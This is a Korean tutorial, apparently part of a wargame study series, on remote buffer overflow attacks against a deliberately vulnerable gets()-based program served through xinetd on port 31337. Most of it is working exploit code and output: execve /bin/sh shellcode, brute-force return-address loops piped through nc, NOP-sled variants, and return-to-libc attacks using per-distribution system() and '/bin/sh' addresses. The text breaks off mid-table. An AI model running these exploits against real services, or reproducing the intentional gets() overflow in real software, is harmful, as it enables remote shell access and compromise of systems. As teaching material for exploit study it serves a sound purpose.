이번 WGD에선 데몬 형태로 작동하는 네트워크 프로그램에 대한 버퍼 오버플로우 공격 기법들에 대해 학습해 보도록 하겠다. 지금까지 우리는 로컬 영역에 설치된 프로그램. 즉, 우리가 쉘을 가지고 있는 상태에서 더욱 높은 권한(보통 root) 을 얻어내기 위해서 취약 프로그램을 공격해왔었다. 하지만, 이번의 설정은 우리가 Target 서버에 아무런 쉘 권한도 가지고있지 않고, 취약 프로그램이 Xinetd 혹은 독립적인 네트워크 프로그램 형태로 Target 서버의 특정 Port로 연결된 상태, 즉, 데몬으로 작동하고있다고 가정한다. 이와같은 형식으로 구성된 프로그램의 예는 우리 주위에서 쉽게 찾을 수 있다. Telnet, SSH, Apache, Sendmail, POP 등등.. 이 프로그램들의 특징은 각각 자신의 고유한 Port 번호에 프로그램의 입출력이 연결되어 그 Port에서 들어오는 입력을 처리하고, 그에 대한 결과를 역시 같은 Port로 출력하며, 이러한 처리를 다수의 클라이언트에게 제공 하는 서버 형태의 프로그램이라는 점이다. 그럼 이러한 형태의 프로그램은 어떻게 구현 가능할까? 크게 두 가지 방법으로 나누어볼 수 있으며, 앞으로 이 두 가지 경우에대한 공격 테스트를 진행하도록 하겠다. ◎ 네트워크 프로그램을 구현하는 두 가지 방법 1. 표준 입출력에 작동하는 일반적인 프로그램을 구현한 후, Inetd 혹은 Xinetd 데몬을 이용하여 네트워크로 연결 시킴. 2. 독립적인 네트워크 프로그램으로 구현하여 작동시킴. 이번 문서에서는 이 두 가지 경우 중 첫 번째에 대한 공격들만 다루어 보도록 할 예정이다. 그럼 먼저 1번에 해당하는 취약 프로그램을 한번 구현해보자. ====================================================== int main() { char buffer[100]; gets(buffer); printf("당신이 입력한 문자열 : %s\n", buffer); } ====================================================== 이 프로그램은 마치 로컬 환경을 위한 것으로 보인다. 하지만, 다음과 같은 과정을 통해 Xinet 데몬에 등록하면, Xinet 데몬에 의해 표준 입력 주체는 Xinetd 설정에의해 지정된 Port가 되며, 표준 출력의 주체 역시 그 Port가 된다. 따라서 결국 위 프로그램이 네트워크 프로그램으로 작동하게 될 것이며, 이러한 과정은 내부적으로 디스크립터의 입출력을 변경해주는 dup() 계열의 함수에의해 이루어진다. ◎ 프로그램을 Xinetd에 등록하는 과정. 1. 위 코드를 컴파일한다. =========================================================== [root@ftz BOF]# gcc -o vuln vuln.c /tmp/ccmC8XAk.o(.text+0x18): In function `main': : the `gets' function is dangerous and should not be used. [root@ftz BOF]# =========================================================== 친절하게도 gcc가 "gets 함수는 위험해!" 하며 주의를 준다. 하지만 우리는 gets 함수를 매우 좋아함으로 위 경고에 신경쓸 필요가 없다. 2. /etc/xinetd.d 디렉토리로 이동한 후, 다음과 같은 파일을 작성한다. 참고로 user 부분은 취약 프로그램을 실행시킬 권한을 정의하는데, root로 할 경우 내가 아닌 다른 사람에게 공격당할 경우 치명적임으로 일반 계정으로 지정해준다. =================================================== [root@ftz xinetd.d]# cat > vuln service vuln { flags = REUSE socket_type = stream wait = no user = guest server = /root/BOF/vuln disable = no } [root@ftz xinetd.d]# =================================================== 3. 위에서 service 오른쪽의 단어는 Port Name을 의미한다. 하지만, vuln이라는 이름의 Port는 정의되어있지 않음으로 이를 /etc/services 파일에 추가해 준다. [root@ftz xinetd.d]# echo "vuln 31337/tcp" >> /etc/services 4. 이제 xinetd를 재구동시키면 지금 추가한 설정이 적용되어 31337번의 TCP 포트가 오픈되고, 그곳에 접속하면 앞서 작성한 vuln 프로그램을 만날 수 있게된다. ======================================================================= [root@ftz BOF]# /etc/rc.d/init.d/xinetd restart xinetd 를 정지함: [ 확인 ] xinetd (을)를 시작합니다: [ 확인 ] [root@ftz BOF]# ======================================================================= 5. 접속 테스트 ================================================= [root@ftz BOF]# telnet localhost 31337 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. mirable 당신이 입력한 문자열 : mirable Connection closed by foreign host. [root@ftz BOF]# ================================================= 자, 그럼 이제부터 이 취약 프로그램에 대한 다음과 같은 7가지 공격 테스트를 시도해 보겠다. 1. 무작위로 쉘코드의 위치를 찾아내는 공격 1 (정확하게 쉘코드 찾기) 공격 효율성 : ★★☆☆☆ 2. 무작위로 쉘코드의 위치를 찾아내는 공격 2 (NOP을 이용하면 편하다) 공격 효율성 : ★★★☆☆ 3. 무작위로 쉘코드의 위치를 찾아내는 공격 3 (더욱 많은 NOP을 넣어볼까?) 공격 효율성 : ★★★★☆ 4. 버퍼의 크기가 작을 때의 리모트 공격 공격 효율성 : ★★★★☆ 5. 리모트 환경에서의 Return to Library를 이용한 공격 공격 효율성 : ★★☆☆☆ 6. 단 한번에 RTL을 이용한 공격 성공시키기 공격 효율성 : ★★★☆☆ 7. 단 한번에 RTL을 이용한 공격 성공시키기 2 공격 효율성 : ★★★★★ 그럼 먼제 1번에 해당하는 공격을 해보자. 공격 시나리오는 다음과 같다. 먼저, 과연 몇 바이트를 입력해야 segfault가 발생하는지를 파악한다. 그 다음엔 buffer 변수에 주입할 쉘코드를 생성한다. 이제 실제 해당 Port에 접속하여 쉘코드를 입력하고, return address가 저장되어있는 부분을 스택의 바닥 부분인 0xc000000 에서부터 4바이트씩 감소해나간다. 공격이 성공할 때까지 계속해서 이 과정을 반복하고, 만약 공격에 성공한다면 무차별 대입 과정은 종료되고 TAREGET 서버의 쉘이 터미널에 나타날 것이다. 일단, 몇 바이트를 입력했을 때 segfault가 발생하는지부터 확인해보자. ============================================================================= [root@ftz BOF]# perl -e 'printf "A"x100; printf "\n"' | nc localhost 31337 당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [root@ftz BOF]# [root@ftz BOF]# perl -e 'printf "A"x150; printf "\n"' | nc localhost 31337 [root@ftzk BOF]# ============================================================================= 150바이트를 입력하니, 아무런 응답이 없이 연결이 끊겼다. 이처럼 local 환경에서 segfault가 나는 것과는 달리 리모트에선 아무런 반응 없이 바로 연결이 끊겨버리는 것이 특징이다. 100에선 segfault가 나지 않고, 150에선 났으니 버퍼의 크기가 100과 150 사이라는 것을 추측할 수 있다. ============================================================================= [root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337 당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [root@ftz BOF]# perl -e 'printf "A"x130; printf "\n"' | nc localhost 31337 [root@ftz BOF]# ============================================================================= 점점 정확한 버퍼의 범위가 모습을 드러내고있다. ============================================================================= [root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337 당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [root@ftz BOF]# perl -e 'printf "A"x124; printf "\n"' | nc localhost 31337 [root@ftz BOF]# ============================================================================= 정확히 124바이트에서 오버플로우가 일어났다. SFP가 변경되었을 때 역시 segfault가 난다는 사실을 감안하면, 121~124 영역은 SFP 영역이며, 125~128이 바로 RET 영역 이라고 추측해낼 수 있다. 또한, 버퍼의 크기가 120바이트로 예측되었지만, DUMMY 값이 있을 수 있음으로 실제로는 120바이트 이하가 될 가능성도 있다. (실제로는 100바이트이다.) 하지만, 우리에게 중요한 부분은 RET 영역임으로 DUMMY 값이 어떤 다른 중요한 영향을 미치지는 않는다. 그럼 이제 공격 STRING의 모습을 구성해보자. ※ 취약 프로그램의 스택 [~~~~~~~~~~총 120 바이트의 버퍼 공간~~~~~~~~~~~~~][SFP][RET][~~~~~~~~~~~~~~] ※ 공격 스트링 [~~~~쉘 코드~~~~][~~~~~~~~~쓰레기 값들~~~~~~~~~~~][SFP][RET] ↑ │ └────────────────────────-───┘ RET이 쉘 코드를 정확히 가리키도록 BRUTE FORCE 그리고 위 내용에 따라 Exploit을 구현한다. 완성된 Exploit이 아닌, 구현해 나가는 과정을 순차적으로 보이도록 하겠다. ※ BRUTE FORCE 테스트 ============================ int main() { int *ret; ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); ret--; sleep(1); } } ============================ ※ 실행 결과 ============================ [root@ftz BOF]# ./a 0xc0000000 0xbffffffc 0xbffffff8 0xbffffff4 0xbffffff0 0xbfffffec 0xbfffffe8 0xbfffffe4 0xbfffffe0 (ctrl+c) [root@ftz BOF]# ============================ 음.. 원하는 결과대로 잘 나오는군.. 이런 식으로 계속 모든 스택 영역을 파헤치다 보면 결국엔 쉘코드의 위치를 찾아 쉘을 띄우게 될 것이다. ※ 120바이트 변수에 쉘코드를 넣자 ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; memset(spy, 'A', 128); memcpy(spy, shellcode, strlen(shellcode)); ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); ret--; sleep(1); } } ========================================================================== ※ 리턴 어드레스 부분(spy+124)에 ret 변수의 값을 넣자. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; memset(spy, 'A', 128); memcpy(spy, shellcode, strlen(shellcode)); ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); ret--; } } ========================================================================== ※ 완성된 공격 STRING이 해당 IP와 Port로 전송되도록 한다. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; char command[300]; memset(spy, 'A', 128); memcpy(spy, shellcode, strlen(shellcode)); ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy); system(command); ret--; } } ========================================================================== 이것이 완성된 Exploit이다. 위 Exploit은 0xc0000000에서부터 4바이트씩 감소해 가며 쉘코드의 위치를 찾다가, 쉘코드가 발견되어 쉘이 실행된다면 id라는 문자열을 전송하여 화면에 이 명령의 결과가 출력되도록 해줄 것이다. 만약 특정 명령어가 아닌 직접 쉘을 사용하고 싶다면, 위 소스 중 printf "id\n" 부분을 삭제하면 된다. 이제 Exploit을 실행시켜 성능을 확인해보자. ================================== [root@ftz BOF]# ./ex 0xc0000000 0xbffffffc 0xbffffff8 0xbffffff4 0xbffffff0 0xbfffffec 0xbfffffe8 ... 생략 ... 0xbffffab0 0xbffffaac 0xbffffaa8 0xbffffaa4 0xbffffaa0 0xbffffa9c uid=1000(guest) gid=1000(guest) (공격 성공) ================================== 위와 같은 결과가 나오기까지는 약 1~2분의 시간밖에 소요되지 않는다. 약간 무식한 방법이긴 하지만 그리 비효율적인 공격 방법은 아니라는 말이다. 그리고 앞으로 공격 경험이 많아지면 버퍼의 위치가 대략 0xbffffb00 이하의 주소에 위치하게 된다는 사실도 알게 될 것임으로 Exploit을 수정하여 공격 시간을 훨씬 단축 시킬 수 있을 것이다. 또, 위 같은 BRUTE FORCE 공격 중 쉘코드가 실행되지 않았 음에도 불구하고 터미널이 멈추는 경우가 있다. 이는 리턴 어드레스가 운 나쁘게도 while(1)과 같은 무한 루프 기계어를 만나게 되었을 경우이며, CTRL+C를 눌러 수동 으로 터미널을 빠져나오도록 해줘야한다. 다음엔 공격 확률을 높여서 쉘을 획득하는 시간을 최대한 높이는 것을 목적으로 Exploit을 수정해 나가보도록 하겠다. 먼저, 로컬에서 그랬던 것과 마찬가지로 NOP 코드를 충분히 넣어 쉘코드를 더욱 쉽게 실행할 수 있도록 유도해보자. 간단하게 다음과 같이 Exploit을 수정해 주면 될 것이다. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; char command[300]; memset(spy, '\x90', 128); // NOP으로 가득 채운다. memcpy(spy+120-strlen(shellcode), shellcode, strlen(shellcode)); // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다. ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy); system(command); ret = ret - 20; // 넉넉하게 80바이트씩 이동한다. } } ========================================================================== 이제 설레이는 마음으로 수정된 Exploit을 실행해보자. 참고로 가장 마지막 라인인 ret - 20이 "ret 주소를 80바이트 감소"를 의미하는 이유는 ret 포인터 변수의 TYPE이 4바이트에 해당하는 int이기 때문이다. 포인터의 +, - 연산은 해당 포인터 형의 바이트 수 단위에 따라 적용된다는 것을 기억하라. 또, 80바이트로 정한 이유는 SPY 변수의 쉘코드 앞쪽에 들어간 NOP 크기가 얼핏 계산하기에 80~100바이트 정도 되기 때문이다. 약 80~100바이트가 NOP임으로 그 NOP 지대의 단 한 부분만을 리턴 어드레스가 가리키기만 하면 결국 쉘코드가 실행될 것이다. ========================================================================== [root@ftz BOF]# ./ex 0xc0000000 0xbfffffb0 0xbfffff60 sh: command substitution: line 1: syntax error near unexpected token `0@(? sh: command substitution: line 1: `��? B 0@(?? 0xbfffff10 0xbffffec0 0xbffffe70 0xbffffe20 0xbffffdd0 0xbffffd80 0xbffffd30 0xbffffce0 0xbffffc90 0xbffffc40 0xbffffbf0 0xbffffba0 0xbffffb50 0xbffffb00 0xbffffab0 uid=1000(guest) gid=1000(guest) (공격 성공) ========================================================================== 공격을 성공시키기까지 약 5초도 채 걸리지 않았다. 역시 NOP의 위력은 로컬에서나 리모트에서나 그 역할을 톡톡히 하는 것 같다. 이정도만 해도 리모트 공격의 성과는 충분히 만족할 만하다. 하지만, 재미를 위해 몇 가지 기술을 더 익혀보도록 하자. 다음에 설명할 내용은 더 많은 NOP을 주입하는 기술이다. 버퍼의 용량은 이미 120 바이트로 한정되어있다. 그런데 어떻게 더 많은 NOP을 주입할 것인가? 바로 답을 얘기하자면 "리턴 어드레스의 뒷 부분에 NOP과 셀코드를 넣는다" 이다. [~~~~~쓰레기 값 120 바이트~~~~~~][SFP][RET][~~~~~~~~~~~NOP~~~~~~~~~~][쉘코드] │ ↑ └─┘ 이 부분을 가리키도록 BRUTE FORCE 위의 시나리오에 맞게 앞서 작성한 Exploit을 수정해보자. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[1000]; // 1000바이트를 할당한다. char command[1200]; memset(spy, 'A', 1000); // 버퍼 초기화 memset(spy+128, '\x90', 1000); // RET 이후를 NOP으로 가득 채운다. memcpy(spy+1000-strlen(shellcode), shellcode, strlen(shellcode)); // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다. ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy); system(command); ret = ret - 200; // 넉넉하게 800바이트씩 이동한다. } } ========================================================================== 이제 더욱 설레이는 마음으로 Exploit을 실행해보자. ===================================== [root@ftz BOF]# ./ex 0xc0000000 0xbffffce0 uid=1000(guest) gid=1000(guest) ===================================== 성과가 엄청나다. 단 두 번만에 공격을 성공시켰다. 이 공격을 사용할 때의 주의할 점은 spy 변수의 크기를 너무 과하게 잡으면, 스택의 영역을 벗어나 0xc0000000 뒷 쪽의 커널을 건드려 공격이 성공하기도 전에 프로그램이 종료되는 수가 있다는 점이다. 대략 800 바이트의 spy 변수를 잡아주면 가장 무난하다. 이제 다음에 테스트해 볼 내용은 바로 버퍼의 크기가 매우 작을 때의 리모트 공격 이다. 취약 프로그램의 소스가 다음과 같다고 가정해보자. ====================================================== int main() { char buffer[8]; gets(buffer); printf("당신이 입력한 문자열 : %s\n", buffer); } ====================================================== 버퍼의 크기가 매우 작음으로, 쉘코드를 주입할 공간이 없다. 하지만, 이에대한 답은 이미 나왔다. 바로 앞서 배웠던 "RET 뒷 쪽에 NOP 넣기" 기법을 사용하면 된다. 공격 과정과 결과는 앞서 했던 것과 동일함으로 생략하도록 하겠다. (Exploit에서 RET이 저장되는 위치와 변수로 들어갈 쓰레기 값의 크기만 수정하면 될 것이다.) 자, 다음 차례는 리모트 환경에서의 Return To Library 기법 활용법이다. 이런 공격 방식을 사용해야하는 경우는 거의 없겠지만, 가끔 wargame이나 hacking event 등에서 문제를 위해 출제되는 경우가 있다. 일단, 우리가 사용할 라이브러리는 system() 함수라고 가정한다. 그럼, 이 함수의 주소를 어떻게 찾아낼 것인가? 이 함수는 /lib/i686/libc-2.2.5.so 공유 라이브러리에 존재하며, 프로세스가 실행 될 때 보통 42000000~4212c000 사이의 주소에 적재된다. 그럼 과연 이 주소를 모두 샅샅이 검색하여 system() 함수의 주소를 찾아야할까? 아마도 아무런 힌트도 없는 상황이라면 이 방법이 정석이겠지만, 다음과 같은 사실을 안다면 매우 쉽게 system 함수의 주소를 찾아낼 수 있다. 그 사실은 바로 "각 리눅스 배포본들의 system 함수 주소는 동일하다" 이다. 즉, A라는 서버가 레드햇 8.0을 사용하고 있고, B라는 서버 역시 레드햇 8.0을 사용하고 있다면, A에서 조사된 system 함수의 주소가 B에서 조사된 system 함수의 주소와 동일하다는 말이다. 다음은 이 문서를 위하여 미리 조사한 각 배포본들의 system 함수 주소이다. ※ 각 배포본들의 system 함수 주소 모음 (차후 계속 업데이트 예정) ========================= 레드햇 6.2 : 0x4005aae0 레드햇 7.3 : 0x42049e54 레드햇 9.0 : 0x4203f2c0 ========================= 데몬으로 작동 중인 취약 프로그램의 환경이 레드햇 버젼 몇인지는 알 수 없을 것이다. 따라서, 위의 값들을 하나씩 차례대로 대입해나가며 확인을 하도록 한다. =========================================================================== [root@ftz BOF]# perl -e 'printf "A"x124; printf "\xe0\xaa\x05\x40"; printf "\n"' | nc localhost 31337 [root@ftz BOF]# perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42"; printf "\n"' | nc localhost 31337 sh: [?? command not found [root@ftz BOF]# =========================================================================== 0x42049e54에서 command not found가 나타났다. 이로써 타겟의 환경이 레드햇 7.3임과 공유 라이브러리 내의 system 함수 위치를 알 수가 있다. 그럼 이제 필요한 것은 "/bin/bash", "/bin/sh", "bash", "sh" 등 쉘 명령을 의미 하는 문자열의 주소이다. 안타깝지만 이 문자열의 주소 역시 지금의 상황에서는 기가 막히게 찾아 내는 특별한 방법이 없다. 아무리 system() 함수의 주소를 알고있다 하더라도 인자로 들어갈 문자열의 주소를 BRUTE FORCE로 찾아내야하기 때문에 리모트 상에서 RTL 기법은 그다지 매리트가 있지 않다. (하지만, 뒤에서 설명되는 RTL 응용 기법에서는 얘기가 달라진다.) RTL 기법을 공부한 경험이 있다면, 강제로 호출된 system() 함수의 인자가 return address + 8 부분에 위치하게 된다는 사실을 알고 있을 것이다. 이 점을 감안하여 Brute Force 기능을 가진 Exploit을 구현해보자. ========================================================================== #include int main() { int *arg; char command[200]; arg = (int *)0xc0000000; // system 함수의 인자로 들어갈 주소 값. while(1){ printf("&arg = %p\n", arg); sprintf(command, "(printf \"id\\n\" | (perl -e 'printf \"sh\\0\\0\"x31; printf \"\\x54\\x9e\\x04\\x42AAAA\"; printf \"%s\\n\"';cat)) | nc localhost 31337", &arg); system(command); arg--; // 인자의 예상 주소를 4바이트씩 감소. } } ========================================================================== sprintf() 부분이 조금 조잡해 보이지만, 다음과 같이 정리해서 보면 쉽게 이해가 갈 것이다. ◎ 정리 $ perl -e 'printf "sh\0\0"x31; printf "\x54\x9e\x04\x42AAAA"; printf "?\n" ◎ 분석 printf "sh\0\0"x31 : 쉘을 의미하는 sh 명령이다. 인자로 불러질 때 문자열의 끝을 인식하도록 하기 위해 NULL을 넣어주었고, 4바이트 단위를 맞추기 위해 또 한번의 NULL을 넣어주었다. 이것이 저장되는 부분은 취약 프로그램의 지역 변수 이며, 0xc0000000 주소에서 4바이트씩 감소시키다 보면 언젠가는 이 부분을 가리 켜서 쉘을 실행하게 될 것이다. printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소이며, 리턴 어드레스를 덮어 쓰게 된다. 그 뒤의 AAAA는 GARBAGE 4바이트이다. 리턴 어드레스로부터 8바이트 뒷 쪽의 값을 system 함수의 인자로 사용하기 때문이다. printf "?\n" : BRUTE FORCE로 구한 인자의 주소가 입력되는 부분이다. ? 부분에 주소 값이 저장된다. 이렇게 보니 확실히 쉽다. 참고로 앞쪽의 printf "id\n" 부분은 공격에 성공하여 쉘을 획득한 후, 화면에 아무것도 나타나지 않아 우리가 공격이 성공했는지를 알기 어렵기 때문에 id 명령의 결과가 출력되도록 한 것이다. 이제 이 Exploit을 실행시켜보자. ==================================== [root@ftz BOF]# ./ex &arg = 0xc0000000 sh: AAAA: command not found &arg = 0xbffffffc &arg = 0xbffffff8 ... 생략 sh: 000: command not found &arg = 0xbfffff2c &arg = 0xbfffff28 &arg = 0xbfffff24 &arg = 0xbfffff20 &arg = 0xbfffff1c uid=1000(guest) gid=1000(guest) (공격 성공) ==================================== 약 1분도 채 안되서 0xbfffff1c에서 쉘 명령을 발견하였다. 그런데 얼핏 봐도 이 주소 영역가 취약 프로그램의 로컬 변수 영역은 아닌 것 같다. 과연 어떤 부분이길래 쉘 명령이 있는 것일까? GDB로 조사해보면.. 바로 "SHELL=/bin/bash" 즉, 환경 변수에서 /bin/bash 문자열을 찾아냈던 것이다. 따라서 Exploit string의 앞 쪽에 "sh\0\0"을 가득 매웠던 것은 의미가 없었다. 단, 만약 이 환경변수의 "/bin/bash" 문자열의 시작 주소가 4바이트 단위로 딱 떨어지지 않았었다면, 위처럼 쉽게 쉘이 뜨지 않았을 것이다. 따라서 변수에 특정 문자열이 들어가게 하는 것이 아주 필요가 없는 것도 아니다. 하지만, 4바이트가 아닌 1바이트 단위로 arg의 주소를 감소시켜 나갔다면 얘기는 또 달라진다. 1바이트 단위로 BRUTE FORCE를 진행하면 100% 환경 변수의 "/bin/bash"를 참조할 수 있기 때문이다. 이런 점들을 모두 감안하여 각자가 알아서 가장 합리적인 방법으로 공격을 시도하기 바란다. ◎ 단 한번에 RTL을 이용한 공격 성공시키기 앞서 진행한 공격 결과를 자세히 보면 신기한 점이 발견된다. ==================================== [root@ftz BOF]# ./ex &arg = 0xc0000000 sh: AAAA: command not found ... ==================================== 바로 주소가 0xc0000000일 때, 우리가 GARBAGE로 넣었던 AAAA가 튀어나온 것이다. 어째서 이러한 결과가 나타난 것일까? 일단, return address + 8 부분에 들어가게 되는 값을 생각해보자. 이 부분의 값은 sprintf(command, "...%s..."), &arg); 부분에 의하여 &arg의 값. 즉, 0xc0000000이 들어갈 것 같다. 하지만 조금 더 생각 해보면 0xc0000000이 BIG ENDIAN으로 변환되어 0x000000c0과 같이 반대로 적용 된다는 것을 알 수 있다. 그럼, 첫 바이트가 NULL(0x00)이기 때문에 결국 return address + 8 부분에는 아무 것도 저장이 되지 않는다. 그리고, 그 대신 다음 이어지는 printf "\n" 부분에 의해서 엔터 키가 입력이 된다. 이제 취약 프로그램으로 이 문자열이 전송이 되고, 엔터인 \n은 문자열의 끝이었음을 의미함으로 자동으로 gets 함수에 의해 NULL로 변환 된다. 자, 그럼 과연 이 상황에서의 스택에 어떤 것들이 담기게 되는지 dumpcode를 이용하여 살펴보자. 다음은 SFP 직전까지만 덮도록 문자열을 보낸 것의 덤프 결과이다. 0xbffffaa0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffab0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffac0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffad0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffae0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00 sh..sh..sh..sh.. 0xbffffaf0 73 68 00 00 73 68 00 00 73 fb ff bf 99 74 01 42 sh..sh..8....t.B 0xbffffb00 01 00 00 00 64 fb ff bf 6c fb ff bf fa 82 04 08 ....d...l....... 위에서 0xbffffaf0 라인의 가장 오른쪽에 있는 \x42017499가 바로 main 함수의 올바른 리턴 어드레스이다. 그리고 리턴 어드레스의 시작 주소에서부터 8바이트 떨어진 곳을 보면, \xbffffb64가 위치한다. 그리고 이 것은 argv[0]의 주소이다. 이제 다시 공격 하는 상황으로 돌아가서, return address + 8 부분을 지정해주지 않은 채, \n가 입력되고, \n은 0x00으로 변환되는 상황을 생각해보자. 그럼, 위 주소에서 0xbffffb00 부분에는 GARBAGE인 "AAAA"가 입력될 것이고, 바로 뒤의 \x64는 \n이 되었다가 최종적으로는 \x00이 될 것이다. 따라서, return address +8의 값은 결국 \xbffffb00이 되어버린다. 그리고 그 부분에는? 그렇다. 바로 "AAAA" 가 있다. 그렇기 때문에 0xc0000000이 주소가 되었을 때 AAAA가 실행되었던 것이다. 이는 즉, 비단 0xc0000000 뿐만 아니라, 앞쪽 1바이트가 NULL이되는 모든 주소일 때도 같은 상황이 나타나며, 아예 이 주소 값을 지정해주지 않아도 같은 상황이 나타 날 것이다. 단, 위에서 AAAA가 위치하게 되는 0xbfffff00 주소 값이 시스템에 따라 항상 일정 한 것이 아니다. 즉, 만약 AAAA가 위치하게 되는 주소가 0xbfffff10이라면, return address+8 부분의 첫 바이트가 NULL로 바뀌어봤자 전혀 소용이 없다. 따라서 이 공격은 AAAA가 위치하는 부분의 주소가 00으로 끝나는 환경에서만 적용된다는 단점이 있다. 그러나, 이 특징을 잘 이해하고, 여러가지 공격 테스트를 직접 경험하여 노하우를 쌓게 되면, return address+4 부분의 값이 보통 어떤 것이 된다는 것을 예측할 수 있게 될 것이다. 아마도 보통 0xbffffb00, 0xbffffb10, 0xbffffb20, ... 0xbffffbf0, 이 16개 중의 하나가 될 것이다. 마지막 1바이트가 무조건 1이 되는 이유는 리턴 어드레스가 16바이트 단위로 정렬되어 dump했을 때 가장 뒷 부분에 위치하기 때문이다. 가장 뒷 부분은 0x???????f로 끝나게 됨으로 그 다음 바이트이며, AAAA가 위치했던 주소의 끝 바이트는 자연스럽게 0이 되는 것이다. 이 특징을 파악하였다면, 최대 16번 이내에 RTL 기법을 성공시킬 수 있음을 의미 한다. 텍스트 만으로는 이해가 힘들 것이니 더욱 자세한 내용은 직접 테스트를 해보며 학습하기 바란다. ◎ 단 한번에 RTL을 이용한 공격 성공시키기 2 이번엔 또 다른 방법으로 RTL 공격을 단 한번에 성공시키는 방법이다. 앞서 우리는 OS의 버젼만 동일하다면, 라이브러리 내의 system() 함수 주소 역시 동일하다는 것을 배웠다. 그럼, 라이브러리 내에 존재하는 "/bin/sh"라는 문자열의 위치 역시 항상 일정하지 않을까? 아마도 적재되는 라이브러리의 내용은 항상 정적임으로 system() 함수의 주소와 마찬가지로 일정한 주소 값에 위치하게 될 것이 확실하다. 그럼, 과연 라이브러리 내에 "/bin/sh"라는 문자열이 존재할까? 존재할 확률은 매우 크다. 일단, "/bin/sh"라는 문자열이 워낙 빈도있게 사용되는 문자열인데다가, system() 등의 쉘을 호출하는 함수들이 아마도 내부적으로 "/bin/sh"을 필요로 할 것이기 때문이다. 그럼, 다음과 같은 간단한 프로그램을 구현하여 라이브러리 내에서 "/bin/sh"라는 문자열을 찾아보도록 하자. =========================================================== int main() { char *pointer; pointer = (char *)0x42000000; while(1){ pointer++; if(strncmp(pointer, "/bin/sh", 7)==0){ printf("Found : %p\n", pointer); exit(0); } } } =========================================================== 보다시피, 0x420000000에서 1바이트씩 증가해가며, "/bin/sh"라는 문자열을 검색한다. 그리고 만약 찾았을 경우 그 주소를 출력해준다. 위 프로그램을 실행해보자. ====================================== [root@ftz BOF]# gcc -o find find.c [root@ftz BOF]# ./find Found : 0x421273f3 [root@ftz BOF]# ====================================== 위에 보이는 0x421273f3 주소에서 "/bin/sh"라는 문자열을 발견하였다. 이 주소 공간은 420000000 ~ 4212c000 사이의 값임으로, libc-2.2.5.so 공유 라이브러리 내의 값이라는 것을 /proc/self/maps 파일을 통해 유추할 수 있다. 자, 이제 각 배포본에 해당하는 system() 함수 주소를 수집했던 것처럼 "/bin/sh" 주소의 값 역시 정리해보자. ※ 각 배포본들의 system, "/bin/sh" 주소 모음 (차후 계속 업데이트 예정) ====================================== 배포본 &system &"/bin/sh" -------------------------------------- 레드햇 6.2 